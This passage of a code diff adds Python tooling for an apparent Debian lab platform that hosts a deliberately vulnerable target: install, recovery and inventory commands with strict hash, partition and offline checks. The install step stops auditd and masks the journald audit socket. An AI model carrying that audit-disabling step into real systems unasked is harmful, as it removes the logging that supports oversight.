+        disk_by_id=args.disk_by_id,
+        debian_partuuid=args.debian_partuuid,
+        esp_partuuid=args.esp_partuuid,
+        windows_partuuid=args.windows_partuuid,
+        bundle_manifest_sha256=args.bundle_manifest_sha256.lower(),
+        confirmation=args.confirm,
+    )
+
+
+def _cmd_install_target(args: argparse.Namespace) -> dict[str, Any]:
+    manifest, profile = _contracts(args)
+    inventory = (
+        collect_live_inventory(manifest, profile)
+        if args.apply
+        else _inventory(args, manifest, profile)
+    )
+    request = _target_install_request(args)
+    validation = validate_target_install_request(
+        manifest, profile, inventory, args.bundle, request
+    )
+    if not args.apply:
+        return target_install_plan(profile, request, validation)
+    return apply_target_install(args.bundle, validation)
+
+
+def _recovery_request(args: argparse.Namespace) -> RecoveryRequest:
+    return RecoveryRequest(
+        operation=args.operation,
+        disk_by_id=args.disk_by_id,
+        debian_partuuid=args.debian_partuuid,
+        esp_partuuid=args.esp_partuuid,
+        windows_partuuid=args.windows_partuuid,
+        image_sha256=args.image_sha256.lower(),
+        efi_sha256=args.efi_sha256.lower() if args.efi_sha256 else None,
+        confirmation=args.confirm,
+    )
+
+
+def _cmd_recover(args: argparse.Namespace) -> dict[str, Any]:
+    manifest, profile = _contracts(args)
+    inventory = (
+        collect_live_inventory(
+            manifest,
+            profile,
+            recovery_mount=args.recovery_mount,
+        )
+        if args.apply
+        else _inventory(args, manifest, profile)
+    )
+    request = _recovery_request(args)
+    context = validate_recovery_request(
+        profile,
+        inventory,
+        request,
+        recovery_mount=args.recovery_mount,
+        marker_path=args.marker,
+    )
+    if not args.apply:
+        return recovery_plan(profile, request, context)
+    return apply_recovery(profile, request, context)
+
+
+def _cmd_marker(args: argparse.Namespace) -> dict[str, Any]:
+    profile = load_json(args.profile)
+    validate_profile(profile)
+    marker = {
+        "schemaVersion": 1,
+        "trustedPurpose": "examserver-open-world-recovery",
+        "kitId": profile["recovery"]["kitId"],
+        "mediaUuid": profile["recovery"]["mediaUuid"],
+        "goldenDebianFilesystemUuid": profile["recovery"][
+            "goldenBtrfsStream"
+        ]["filesystemUuid"],
+    }
+    _write_result(marker, args.output)
+    return {"ok": True, "output": str(args.output.resolve())}
+
+
+def _cmd_hash(args: argparse.Namespace) -> dict[str, Any]:
+    if args.kind == "file":
+        digest = sha256_file(args.path)
+    elif args.kind == "tree":
+        digest = tree_digest(args.path)
+    else:
+        digest = tree_sha256(args.path)
+    return {"ok": True, "kind": args.kind, "path": str(args.path), "sha256": digest}
+
+
+def build_parser() -> argparse.ArgumentParser:
+    parser = argparse.ArgumentParser(
+        prog="open-world-platform",
+        description="Fail-closed Debian lab platform and recovery tooling",
+    )
+    subparsers = parser.add_subparsers(dest="command", required=True)
+
+    validate = subparsers.add_parser("validate")
+    _add_contract_args(validate)
+    validate.set_defaults(handler=_cmd_validate)
+
+    render = subparsers.add_parser("render")
+    _add_contract_args(render)
+    render.add_argument("--output", type=Path, required=True)
+    render.set_defaults(handler=_cmd_render)
+
+    inventory = subparsers.add_parser("inventory")
+    _add_contract_args(inventory)
+    inventory.add_argument(
+        "--boot-environment",
+        choices=[
+            "installed-debian",
+            "installed-debian-maintenance",
+            "trusted-recovery-media",
+        ],
+        required=True,
+    )
+    inventory.add_argument("--recovery-mount", type=Path)
+    inventory.add_argument("--output", type=Path)
+    inventory.set_defaults(handler=_cmd_inventory)
+
+    preflight = subparsers.add_parser("preflight")
+    _add_contract_args(preflight)
+    preflight.add_argument(
+        "--mode",
+        choices=["exercise", "maintenance", "maintenance-connectivity"],
+        required=True,
+    )
+    preflight.add_argument(
+        "--stage", choices=["isolation", "ready"], default="ready"
+    )
+    preflight.add_argument("--inventory", type=Path)
+    preflight.add_argument("--boot-environment")
+    preflight.set_defaults(handler=_cmd_preflight)
+
+    mode = subparsers.add_parser("mode")
+    _add_contract_args(mode)
+    mode.add_argument(
+        "--to",
+        choices=[
+            "exercise",
+            "maintenance",
+            "connectivity-on",
+            "connectivity-off",
+        ],
+        required=True,
+    )
+    mode.add_argument("--inventory", type=Path)
+    mode.add_argument("--boot-environment")
+    mode.add_argument("--confirm")
+    mode.add_argument("--apply", action="store_true")
+    mode.set_defaults(handler=_cmd_mode)
+
+    install = subparsers.add_parser("install")
+    _add_contract_args(install)
+    install.add_argument("--overlay", type=Path, required=True)
+    install.add_argument("--overlay-sha256", required=True)
+    install.add_argument("--disk-by-id", required=True)
+    install.add_argument("--debian-partuuid", required=True)
+    install.add_argument("--esp-partuuid", required=True)
+    install.add_argument("--windows-partuuid", required=True)
+    install.add_argument("--confirm", required=True)
+    install.add_argument("--inventory", type=Path)
+    install.add_argument("--boot-environment")
+    install.add_argument("--apply", action="store_true")
+    install.set_defaults(handler=_cmd_install)
+
+    build_target = subparsers.add_parser("build-target-bundle")
+    build_target.add_argument("--repo-root", type=Path, required=True)
+    build_target.add_argument("--output", type=Path, required=True)
+    build_target.add_argument("--node", default="node")
+    build_target.set_defaults(handler=_cmd_build_target_bundle)
+
+    verify_target = subparsers.add_parser("verify-target-bundle")
+    verify_target.add_argument("--bundle", type=Path, required=True)
+    verify_target.set_defaults(handler=_cmd_verify_target_bundle)
+
+    install_target = subparsers.add_parser("install-target")
+    _add_contract_args(install_target)
+    install_target.add_argument("--bundle", type=Path, required=True)
+    install_target.add_argument("--bundle-manifest-sha256", required=True)
+    install_target.add_argument("--disk-by-id", required=True)
+    install_target.add_argument("--debian-partuuid", required=True)
+    install_target.add_argument("--esp-partuuid", required=True)
+    install_target.add_argument("--windows-partuuid", required=True)
+    install_target.add_argument("--confirm", required=True)
+    install_target.add_argument("--inventory", type=Path)
+    install_target.add_argument("--boot-environment")
+    install_target.add_argument("--apply", action="store_true")
+    install_target.set_defaults(handler=_cmd_install_target)
+
+    recover = subparsers.add_parser("recover")
+    _add_contract_args(recover)
+    recover.add_argument("--operation", choices=["normal", "full"], required=True)
+    recover.add_argument("--recovery-mount", type=Path, required=True)
+    recover.add_argument("--marker", type=Path, required=True)
+    recover.add_argument("--disk-by-id", required=True)
+    recover.add_argument("--debian-partuuid", required=True)
+    recover.add_argument("--esp-partuuid", required=True)
+    recover.add_argument("--windows-partuuid", required=True)
+    recover.add_argument("--image-sha256", required=True)
+    recover.add_argument("--efi-sha256")
+    recover.add_argument("--confirm", required=True)
+    recover.add_argument("--inventory", type=Path)
+    recover.add_argument(
+        "--boot-environment", default="trusted-recovery-media"
+    )
+    recover.add_argument("--apply", action="store_true")
+    recover.set_defaults(handler=_cmd_recover)
+
+    marker = subparsers.add_parser("write-recovery-marker")
+    marker.add_argument("--profile", type=Path, required=True)
+    marker.add_argument("--output", type=Path, required=True)
+    marker.set_defaults(handler=_cmd_marker)
+
+    digest = subparsers.add_parser("hash")
+    digest.add_argument("--kind", choices=["file", "tree", "efi-tree"], required=True)
+    digest.add_argument("--path", type=Path, required=True)
+    digest.set_defaults(handler=_cmd_hash)
+    return parser
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = build_parser()
+    args = parser.parse_args(argv)
+    try:
+        value = args.handler(args)
+        if args.command == "inventory" and args.output is not None:
+            _write_result(value, args.output)
+        elif args.command != "write-recovery-marker":
+            _write_result(value)
+        return 0 if value.get("passed", True) else 1
+    except ContractError as exc:
+        _write_result({"ok": False, "error": str(exc)})
+        return 2
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/labs/open-world-target/platform/open_world_platform/install.py b/labs/open-world-target/platform/open_world_platform/install.py
new file mode 100644
index 0000000..6b7aa60
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/install.py
@@ -0,0 +1,482 @@
+from __future__ import annotations
+
+import hashlib
+import ipaddress
+import os
+import shutil
+import subprocess
+import tempfile
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any
+
+from .model import (
+    ALWAYS_MASKED_UNITS,
+    ContractError,
+    RAW_AUDIT_UNITS,
+    load_json,
+    validate_exact_identity,
+    validate_platform_identity,
+    validate_profile,
+    validate_required_packages,
+)
+from .render import tree_digest
+
+
+BUNDLE_ONLY_UNITS = (
+    "open-world-file-watch.service",
+    "open-world-nfs-watch.service",
+    "open-world-root-timer.service",
+    "open-world-root-timer.timer",
+    "open-world-telemetry.service",
+    "open-world-telemetry.socket",
+)
+
+
+@dataclass(frozen=True)
+class InstallRequest:
+    disk_by_id: str
+    debian_partuuid: str
+    esp_partuuid: str
+    windows_partuuid: str
+    overlay_sha256: str
+    confirmation: str
+
+
+def validate_install_request(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+    overlay: Path,
+    request: InstallRequest,
+) -> dict[str, Any]:
+    validate_profile(profile)
+    validate_platform_identity(manifest, inventory)
+    boot_environment = inventory.get("bootEnvironment")
+    if boot_environment == "installed-debian":
+        _validate_initial_offline_bootstrap(manifest, profile, inventory)
+    elif boot_environment != "installed-debian-maintenance":
+        raise ContractError(
+            "platform install requires the exact installed target Debian"
+        )
+    debian_partition = inventory.get("partitions", {}).get("debian")
+    root_filesystem = inventory.get("rootFilesystem")
+    if not isinstance(debian_partition, dict) or not isinstance(
+        root_filesystem, dict
+    ):
+        raise ContractError("live root/partition evidence is missing")
+    debian_device = debian_partition.get("device")
+    if (
+        not isinstance(debian_device, str)
+        or root_filesystem.get("sourceDevice") != debian_device
+        or "/" not in (debian_partition.get("mountpoints") or [])
+    ):
+        raise ContractError("live / is not the profile Debian PARTUUID partition")
+    identity_errors = validate_exact_identity(profile, inventory)
+    if identity_errors:
+        raise ContractError("; ".join(identity_errors))
+    validate_required_packages(manifest, inventory)
+    expected = profile["target"]
+    supplied = {
+        "diskById": request.disk_by_id,
+        "debianPartuuid": request.debian_partuuid,
+        "espPartuuid": request.esp_partuuid,
+        "windowsPartuuid": request.windows_partuuid,
+    }
+    for key, value in supplied.items():
+        if value != expected[key]:
+            raise ContractError(f"supplied {key} does not exactly match profile")
+    expected_phrase = f"INSTALL PLATFORM {expected['diskById']}"
+    if request.confirmation != expected_phrase:
+        raise ContractError(f"confirmation must exactly equal: {expected_phrase}")
+    if not overlay.is_dir() or overlay.is_symlink():
+        raise ContractError("overlay must be a real directory")
+    observed_hash = tree_digest(overlay)
+    if request.overlay_sha256.lower() != observed_hash:
+        raise ContractError("supplied overlay image hash does not match its contents")
+
+    install_manifest_path = (
+        overlay / "usr/local/share/open-world-lab/install-manifest.json"
+    )
+    install_manifest = load_json(install_manifest_path)
+    if install_manifest.get("schemaVersion") != 1:
+        raise ContractError("generated install manifest schema is invalid")
+    files = install_manifest.get("files")
+    if not isinstance(files, list) or not files:
+        raise ContractError("generated install manifest has no files")
+    for entry in files:
+        if not isinstance(entry, dict):
+            raise ContractError("invalid generated install file entry")
+        target = entry.get("target")
+        expected_hash = entry.get("sha256")
+        if not isinstance(target, str) or not target.startswith("/"):
+            raise ContractError("generated install target must be absolute")
+        source = overlay / target.lstrip("/")
+        if not source.is_file() or source.is_symlink():
+            raise ContractError(f"overlay source is missing or unsafe: {target}")
+        actual_hash = hashlib.sha256(source.read_bytes()).hexdigest()
+        if actual_hash != expected_hash:
+            raise ContractError(f"overlay source hash mismatch: {target}")
+    return install_manifest
+
+
+def _validate_initial_offline_bootstrap(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+) -> None:
+    errors: list[str] = []
+    if inventory.get("collectionErrors"):
+        errors.append("inventory collection is incomplete")
+    network = inventory.get("network")
+    if not isinstance(network, dict):
+        errors.append("network inventory is missing")
+        network = {}
+    if network.get("defaultRoutesV4", []) != []:
+        errors.append("an IPv4 default route exists")
+    if network.get("defaultRoutesV6", []) != []:
+        errors.append("an IPv6 default route exists")
+    external_dns = []
+    for value in network.get("dnsServers", []):
+        try:
+            if not ipaddress.ip_address(value).is_loopback:
+                external_dns.append(value)
+        except (TypeError, ValueError):
+            external_dns.append(value)
+    if external_dns:
+        errors.append(f"external DNS remains configured: {external_dns!r}")
+    for interface in network.get("interfaces", []):
+        if not isinstance(interface, dict) or interface.get("name") == "lo":
+            continue
+        if (
+            interface.get("up") is True
+            or interface.get("carrier") is True
+            or interface.get("addresses")
+        ):
+            errors.append(
+                f"non-loopback interface is not offline: {interface.get('name')}"
+            )
+    radio = network.get("radio")
+    if not isinstance(radio, dict):
+        errors.append("rfkill inventory is missing")
+    else:
+        for name in ("wifi", "wwan", "bluetooth"):
+            if radio.get(name) is False:
+                errors.append(f"{name} radio is not blocked")
+    for listener in network.get("listeners", []):
+        if not isinstance(listener, dict):
+            errors.append("listener inventory is malformed")
+            continue
+        address = listener.get("address")
+        try:
+            loopback = ipaddress.ip_address(address).is_loopback
+        except (TypeError, ValueError):
+            loopback = False
+        if not loopback:
+            errors.append(
+                "non-loopback listener remains during bootstrap: "
+                f"{listener.get('protocol')}/{listener.get('port')} on {address}"
+            )
+    if network.get("ipv4Forwarding") is not False:
+        errors.append("IPv4 forwarding is not disabled")
+    services = inventory.get("services")
+    if not isinstance(services, dict):
+        errors.append("service inventory is missing")
+    else:
+        not_inactive = sorted(
+            name for name, state in services.items() if state != "inactive"
+        )
+        if not_inactive:
+            errors.append(
+                "services are not proven inactive: "
+                + ", ".join(not_inactive)
+            )
+    if inventory.get("markers", {}).get("exerciseReady") is True:
+        errors.append("exercise-ready marker unexpectedly exists")
+    if errors:
+        raise ContractError(
+            "initial platform bootstrap is not strictly offline: "
+            + "; ".join(errors)
+        )
+
+
+def install_plan(
+    profile: dict[str, Any],
+    request: InstallRequest,
+    install_manifest: dict[str, Any],
+) -> dict[str, Any]:
+    return {
+        "applied": False,
+        "operation": "install-platform-overlay",
+        "diskById": profile["target"]["diskById"],
+        "debianPartuuid": request.debian_partuuid,
+        "overlaySha256": request.overlay_sha256,
+        "files": [
+            {"target": entry["target"], "sha256": entry["sha256"]}
+            for entry in install_manifest["files"]
+        ],
+        "packageManifest": "/usr/local/share/open-world-lab/packages.txt",
+    }
+
+
+def _copy_atomic(source: Path, target: Path, mode: int) -> None:
+    if target.exists() and (target.is_symlink() or not target.is_file()):
+        raise ContractError(f"refusing to replace non-regular target: {target}")
+    target.parent.mkdir(parents=True, exist_ok=True)
+    descriptor, temporary_name = tempfile.mkstemp(
+        prefix=f".{target.name}.", dir=target.parent
+    )
+    temporary = Path(temporary_name)
+    try:
+        with os.fdopen(descriptor, "wb") as destination, source.open("rb") as incoming:
+            shutil.copyfileobj(incoming, destination)
+            destination.flush()
+            os.fsync(destination.fileno())
+        os.chmod(temporary, mode)
+        os.replace(temporary, target)
+    finally:
+        temporary.unlink(missing_ok=True)
+
+
+def verify_units_absent(
+    units: tuple[str, ...] | list[str],
+    *,
+    runner=subprocess.run,
+) -> None:
+    for unit in units:
+        completed = runner(
+            [
+                "systemctl",
+                "show",
+                "--property=LoadState",
+                "--value",
+                unit,
+            ],
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        if completed.returncode != 0 or completed.stdout.strip() != "not-found":
+            detail = completed.stderr.strip() or completed.stdout.strip()
+            raise ContractError(
+                f"future bundle unit is unexpectedly present: {unit}: {detail}"
+            )
+
+
+def verify_units_masked_inactive(
+    units: tuple[str, ...] | list[str],
+    *,
+    runner=subprocess.run,
+) -> None:
+    for unit in units:
+        active = runner(
+            ["systemctl", "is-active", unit],
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        enabled = runner(
+            ["systemctl", "is-enabled", unit],
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        if active.stdout.strip() != "inactive":
+            raise ContractError(
+                f"forbidden unit did not become inactive: {unit}: "
+                f"{active.stdout.strip() or active.stderr.strip()}"
+            )
+        if enabled.stdout.strip() != "masked":
+            raise ContractError(
+                f"forbidden unit did not become masked: {unit}: "
+                f"{enabled.stdout.strip() or enabled.stderr.strip()}"
+            )
+
+
+def disable_raw_audit_units(
+    *,
+    runner=subprocess.run,
+) -> None:
+    """Stop any optional auditd safely, then mask both raw audit consumers."""
+    loaded = runner(
+        [
+            "systemctl",
+            "show",
+            "--property=LoadState",
+            "--value",
+            "auditd.service",
+        ],
+        check=False,
+        capture_output=True,
+        text=True,
+        timeout=60,
+    )
+    load_state = loaded.stdout.strip()
+    if loaded.returncode == 0 and load_state != "not-found":
+        active = runner(
+            ["systemctl", "is-active", "auditd.service"],
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        if active.stdout.strip() == "active":
+            stopped = runner(
+                ["service", "auditd", "stop"],
+                check=False,
+                capture_output=True,
+                text=True,
+                timeout=60,
+            )
+            if stopped.returncode != 0:
+                detail = stopped.stderr.strip() or stopped.stdout.strip()
+                raise ContractError(
+                    "optional auditd could not be stopped through its "
+                    f"supported control path: {detail}"
+                )
+        disabled = runner(
+            ["systemctl", "disable", "auditd.service"],
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        if disabled.returncode != 0:
+            detail = disabled.stderr.strip() or disabled.stdout.strip()
+            raise ContractError(f"optional auditd could not be disabled: {detail}")
+    elif loaded.returncode not in {0, 1, 4}:
+        detail = loaded.stderr.strip() or load_state
+        raise ContractError(f"could not inspect optional auditd: {detail}")
+
+    for command in (
+        ["systemctl", "mask", "auditd.service"],
+        [
+            "systemctl",
+            "mask",
+            "--now",
+            "systemd-journald-audit.socket",
+        ],
+    ):
+        completed = runner(
+            command,
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        if completed.returncode != 0:
+            detail = completed.stderr.strip() or completed.stdout.strip()
+            raise ContractError(
+                f"raw audit collection could not be masked: {command!r}: {detail}"
+            )
+
+
+def apply_install(
+    overlay: Path,
+    install_manifest: dict[str, Any],
+    *,
+    target_root: Path = Path("/"),
+    runner=subprocess.run,
+) -> dict[str, Any]:
+    if os.name != "posix" or os.geteuid() != 0:
+        raise ContractError("platform install mutation requires root on Debian")
+    if target_root != Path("/"):
+        raise ContractError("apply target_root must be exactly /")
+    verify_units_absent(BUNDLE_ONLY_UNITS, runner=runner)
+    for entry in install_manifest["files"]:
+        source = overlay / entry["target"].lstrip("/")
+        target = target_root / entry["target"].lstrip("/")
+        _copy_atomic(source, target, int(entry["mode"], 8))
+    generated_manifest = (
+        overlay / "usr/local/share/open-world-lab/install-manifest.json"
+    )
+    _copy_atomic(
+        generated_manifest,
+        Path("/usr/local/share/open-world-lab/install-manifest.json"),
+        0o644,
+    )
+    exercise_services = [
+        "apache2.service",
+        "dnsmasq.service",
+        "nfs-server.service",
+        "nmbd.service",
+        "mnt-windows.mount",
+        "open-world-exercise.target",
+        "open-world-vulnerable.target",
+        "open-world-vulnerable-failure.service",
+        "smbd.service",
+        "ssh.service",
+        "NetworkManager.service",
+        "systemd-resolved.service",
+        "wpa_supplicant.service",
+    ]
+    commands_before_raw_audit_mask = [
+        [
+            "systemd-tmpfiles",
+            "--create",
+            "/etc/tmpfiles.d/open-world-dnsmasq.conf",
+            "/etc/tmpfiles.d/open-world-windows.conf",
+        ],
+        ["systemctl", "daemon-reload"],
+        ["systemctl", "start", "open-world-boot-quarantine.service"],
+        ["systemctl", "disable", "--now", *exercise_services],
+    ]
+    commands_after_raw_audit_mask = [
+        [
+            "systemctl",
+            "mask",
+            "--now",
+            *[
+                unit
+                for unit in ALWAYS_MASKED_UNITS
+                if unit not in RAW_AUDIT_UNITS
+            ],
+        ],
+        [
+            "systemctl",
+            "enable",
+            "open-world-boot-quarantine.service",
+            "open-world-maintenance.target",
+        ],
+        ["systemctl", "start", "open-world-maintenance.target"],
+    ]
+    for command in commands_before_raw_audit_mask:
+        completed = runner(
+            command,
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        if completed.returncode != 0:
+            message = completed.stderr.strip() or completed.stdout.strip()
+            raise ContractError(
+                "platform files were installed but fail-closed unit activation "
+                f"failed: {command!r}: {message}"
+            )
+    disable_raw_audit_units(runner=runner)
+    for command in commands_after_raw_audit_mask:
+        completed = runner(
+            command,
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        if completed.returncode != 0:
+            message = completed.stderr.strip() or completed.stdout.strip()
+            raise ContractError(
+                "platform files were installed but fail-closed unit activation "
+                f"failed: {command!r}: {message}"
+            )
+    verify_units_masked_inactive(ALWAYS_MASKED_UNITS, runner=runner)
+    return {
+        "applied": True,
+        "operation": "install-platform-overlay",
+        "filesInstalled": len(install_manifest["files"]) + 1,
+        "rebootRequired": False,
+        "physicalVerificationRequired": True,
+    }
diff --git a/labs/open-world-target/platform/open_world_platform/inventory.py b/labs/open-world-target/platform/open_world_platform/inventory.py
new file mode 100644
index 0000000..096d157
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/inventory.py
@@ -0,0 +1,874 @@
+from __future__ import annotations
+
+import json
+import platform
+import re
+import subprocess
+import configparser
+import stat
+from pathlib import Path
+from typing import Any
+
+from .model import (
+    ALWAYS_MASKED_UNITS,
+    ContractError,
+    TRANSIENT_LAB_UNITS,
+    WINDOWS_MOUNT_UNIT,
+    validate_manifest,
+    validate_profile,
+)
+from .session import (
+    DEFAULT_ENV_PATH,
+    DEFAULT_FRESH_MARKER,
+    DEFAULT_RUNTIME_ID_PATH,
+    DEFAULT_STATE_PATH,
+    fresh_marker_bytes,
+)
+
+
+def _run(
+    args: list[str], *, acceptable_returncodes: set[int] | None = None
+) -> subprocess.CompletedProcess[str]:
+    completed = subprocess.run(
+        args,
+        check=False,
+        capture_output=True,
+        text=True,
+        timeout=15,
+    )
+    acceptable = acceptable_returncodes or {0}
+    if completed.returncode not in acceptable:
+        stderr = completed.stderr.strip() or completed.stdout.strip()
+        raise ContractError(
+            f"read-only inventory command failed ({completed.returncode}): "
+            f"{args!r}: {stderr}"
+        )
+    return completed
+
+
+def _run_json(args: list[str]) -> Any:
+    completed = _run(args)
+    try:
+        return json.loads(completed.stdout)
+    except json.JSONDecodeError as exc:
+        raise ContractError(f"inventory command returned invalid JSON: {args!r}") from exc
+
+
+def _read_bool(path: Path, true_value: str) -> bool | None:
+    try:
+        return path.read_text(encoding="utf-8").strip() == true_value
+    except OSError:
+        return None
+
+
+def _rfkill_state() -> dict[str, bool | None]:
+    value = _run_json(["rfkill", "--json"])
+    devices = value.get("rfkilldevices", []) if isinstance(value, dict) else []
+    state: dict[str, list[bool]] = {"wifi": [], "wwan": [], "bluetooth": []}
+    type_map = {
+        "wlan": "wifi",
+        "wifi": "wifi",
+        "wireless lan": "wifi",
+        "wwan": "wwan",
+        "bluetooth": "bluetooth",
+    }
+    for device in devices:
+        if not isinstance(device, dict):
+            continue
+        key = type_map.get(str(device.get("type", "")).lower())
+        if not key:
+            continue
+        soft = str(device.get("soft", "")).lower()
+        hard = str(device.get("hard", "")).lower()
+        state[key].append(
+            soft in {"blocked", "true", "1"} or hard in {"blocked", "true", "1"}
+        )
+    return {
+        key: all(values) if values else None
+        for key, values in state.items()
+    }
+
+
+def _interface_kind(name: str) -> str:
+    if name == "lo":
+        return "loopback"
+    if (Path("/sys/class/net") / name / "wireless").exists():
+        return "wifi"
+    return "ethernet"
+
+
+def _networkmanager_managed(interface: str) -> bool | None:
+    completed = _run(
+        [
+            "nmcli",
+            "--terse",
+            "--get-values",
+            "GENERAL.NM-MANAGED",
+            "device",
+            "show",
+            interface,
+        ],
+        acceptable_returncodes={0, 8, 10},
+    )
+    if completed.returncode != 0:
+        return None
+    value = completed.stdout.strip().lower()
+    if value in {"yes", "true"}:
+        return True
+    if value in {"no", "false"}:
+        return False
+    return None
+
+
+def _collect_networkmanager_policy(wired_interface: str) -> dict[str, Any]:
+    path = Path(
+        "/etc/NetworkManager/conf.d/90-open-world-maintenance.conf"
+    )
+    expected = sorted(
+        [
+            "[main]",
+            "dns=systemd-resolved",
+            "[device]",
+            "wifi.scan-rand-mac-address=yes",
+            "[keyfile]",
+            f"unmanaged-devices=interface-name:{wired_interface}",
+        ]
+    )
+    return {
+        "wiredInterface": wired_interface,
+        "unmanagedConfigExact": (
+            _read_dnsmasq_directives(path) == expected
+        ),
+        "runtimeManaged": _networkmanager_managed(wired_interface),
+    }
+
+
+def _collect_interfaces(radio: dict[str, bool | None]) -> list[dict[str, Any]]:
+    raw = _run_json(["ip", "-json", "address", "show"])
+    if not isinstance(raw, list):
+        raise ContractError("ip address inventory must be a list")
+    interfaces: list[dict[str, Any]] = []
+    for item in raw:
+        if not isinstance(item, dict) or not isinstance(item.get("ifname"), str):
+            continue
+        name = item["ifname"]
+        kind = _interface_kind(name)
+        addresses = []
+        for info in item.get("addr_info", []):
+            if not isinstance(info, dict) or info.get("scope") != "global":
+                continue
+            local = info.get("local")
+            prefix = info.get("prefixlen")
+            if isinstance(local, str) and isinstance(prefix, int):
+                addresses.append(f"{local}/{prefix}")
+        carrier = _read_bool(Path("/sys/class/net") / name / "carrier", "1")
+        if name == "lo":
+            carrier = True
+        flags = item.get("flags", [])
+        interface = {
+            "name": name,
+            "kind": kind,
+            "mac": str(item.get("address", "")).lower(),
+            "up": "UP" in flags if isinstance(flags, list) else False,
+            "carrier": carrier,
+            "addresses": sorted(addresses),
+        }
+        if kind == "wifi":
+            interface["radioBlocked"] = radio["wifi"]
+        interfaces.append(interface)
+    return sorted(interfaces, key=lambda item: item["name"])
+
+
+def _collect_routes(family_flag: str | None) -> list[dict[str, Any]]:
+    args = ["ip"]
+    if family_flag:
+        args.append(family_flag)
+    args.extend(["-json", "route", "show", "default"])
+    value = _run_json(args)
+    return value if isinstance(value, list) else []
+
+
+def _collect_dns() -> list[str]:
+    try:
+        text = Path("/etc/resolv.conf").read_text(encoding="utf-8")
+    except OSError as exc:
+        raise ContractError(f"cannot read /etc/resolv.conf: {exc}") from exc
+    values = []
+    for line in text.splitlines():
+        match = re.match(r"^\s*nameserver\s+(\S+)", line)
+        if match:
+            values.append(match.group(1))
+    return sorted(set(values))
+
+
+def _parse_endpoint(value: str) -> tuple[str, int] | None:
+    if value.startswith("["):
+        match = re.fullmatch(r"\[([^\]]+)\]:(\d+)", value)
+    else:
+        match = re.fullmatch(r"(.+):(\d+)", value)
+    if not match:
+        return None
+    address = match.group(1)
+    if address == "*":
+        address = "0.0.0.0"
+    return address, int(match.group(2))
+
+
+def _collect_listeners() -> list[dict[str, Any]]:
+    lines = _run(["ss", "-H", "-lntu"]).stdout.splitlines()
+    listeners: list[dict[str, Any]] = []
+    for line in lines:
+        columns = line.split()
+        if len(columns) < 5:
+            continue
+        endpoint = _parse_endpoint(columns[4])
+        if endpoint is None:
+            continue
+        address, port = endpoint
+        protocol = columns[0].lower()
+        if protocol.startswith("tcp"):
+            protocol = "tcp"
+        elif protocol.startswith("udp"):
+            protocol = "udp"
+        listeners.append(
+            {"protocol": protocol, "address": address, "port": port}
+        )
+    return sorted(
+        listeners,
+        key=lambda item: (item["protocol"], item["address"], item["port"]),
+    )
+
+
+def _firewall_state() -> dict[str, Any]:
+    for table in ("open_world_lab", "open_world_quarantine"):
+        completed = _run(
+            ["nft", "list", "table", "inet", table],
+            acceptable_returncodes={0, 1},
+        )
+        if completed.returncode != 0:
+            continue
+        text = completed.stdout
+        policies = re.findall(r"hook\s+(input|forward|output).*?policy\s+(\w+)", text)
+        policy_map = dict(policies)
+        return {
+            "table": table,
+            "inputPolicy": policy_map.get("input"),
+            "forwardPolicy": policy_map.get("forward"),
+            "outputPolicy": policy_map.get("output"),
+            "allowedOutputCidrs": (
+                ["10.13.37.0/24"]
+                if table == "open_world_lab"
+                and "ip daddr 10.13.37.0/24 accept" in text
+                else []
+            ),
+            "deniedInputTcpPorts": (
+                [20048] if "tcp dport 20048 drop" in text else []
+            ),
+        }
+    return {
+        "table": None,
+        "inputPolicy": None,
+        "forwardPolicy": None,
+        "outputPolicy": None,
+        "allowedOutputCidrs": [],
+        "deniedInputTcpPorts": [],
+    }
+
+
+def _nfs_policy_state() -> dict[str, Any]:
+    path = Path("/etc/nfs.conf.d/open-world-target.conf")
+    if path.is_symlink() or not path.is_file():
+        return {"v4Only": False, "nfsdPort": None, "mountdPort": None}
+    parser = configparser.ConfigParser()
+    try:
+        parser.read(path, encoding="utf-8")
+        nfsd = parser["nfsd"]
+        mountd = parser["mountd"]
+        nfsd_port = nfsd.getint("port")
+        mountd_port = mountd.getint("port")
+        v4_only = (
+            nfsd.get("vers2", "").strip().lower() == "n"
+            and nfsd.get("vers3", "").strip().lower() == "n"
+            and nfsd.get("vers4", "").strip().lower() == "y"
+            and nfsd.get("udp", "").strip().lower() == "n"
+            and nfsd.get("tcp", "").strip().lower() == "y"
+            and nfsd_port == 2049
+            and mountd_port == 20048
+        )
+    except (configparser.Error, KeyError, ValueError):
+        return {"v4Only": False, "nfsdPort": None, "mountdPort": None}
+    return {
+        "v4Only": v4_only,
+        "nfsdPort": nfsd_port,
+        "mountdPort": mountd_port,
+    }
+
+
+def _collect_unit_file_states(names: list[str]) -> dict[str, str]:
+    result: dict[str, str] = {}
+    for name in names:
+        completed = _run(
+            ["systemctl", "is-enabled", name],
+            acceptable_returncodes={0, 1, 2, 3, 4},
+        )
+        state = completed.stdout.strip()
+        result[name] = state if state else "unknown"
+    return result
+
+
+def _collect_path_metadata(path: Path) -> dict[str, Any]:
+    try:
+        import grp
+        import pwd
+    except ImportError as exc:
+        raise ContractError(
+            "POSIX account lookup is required for live Debian inventory"
+        ) from exc
+    try:
+        metadata = path.lstat()
+    except OSError:
+        return {
+            "path": str(path),
+            "kind": "missing",
+            "owner": None,
+            "group": None,
+            "mode": None,
+        }
+    if stat.S_ISLNK(metadata.st_mode):
+        kind = "symlink"
+    elif stat.S_ISDIR(metadata.st_mode):
+        kind = "directory"
+    elif stat.S_ISREG(metadata.st_mode):
+        kind = "file"
+    else:
+        kind = "special"
+    try:
+        owner = pwd.getpwuid(metadata.st_uid).pw_name
+    except KeyError:
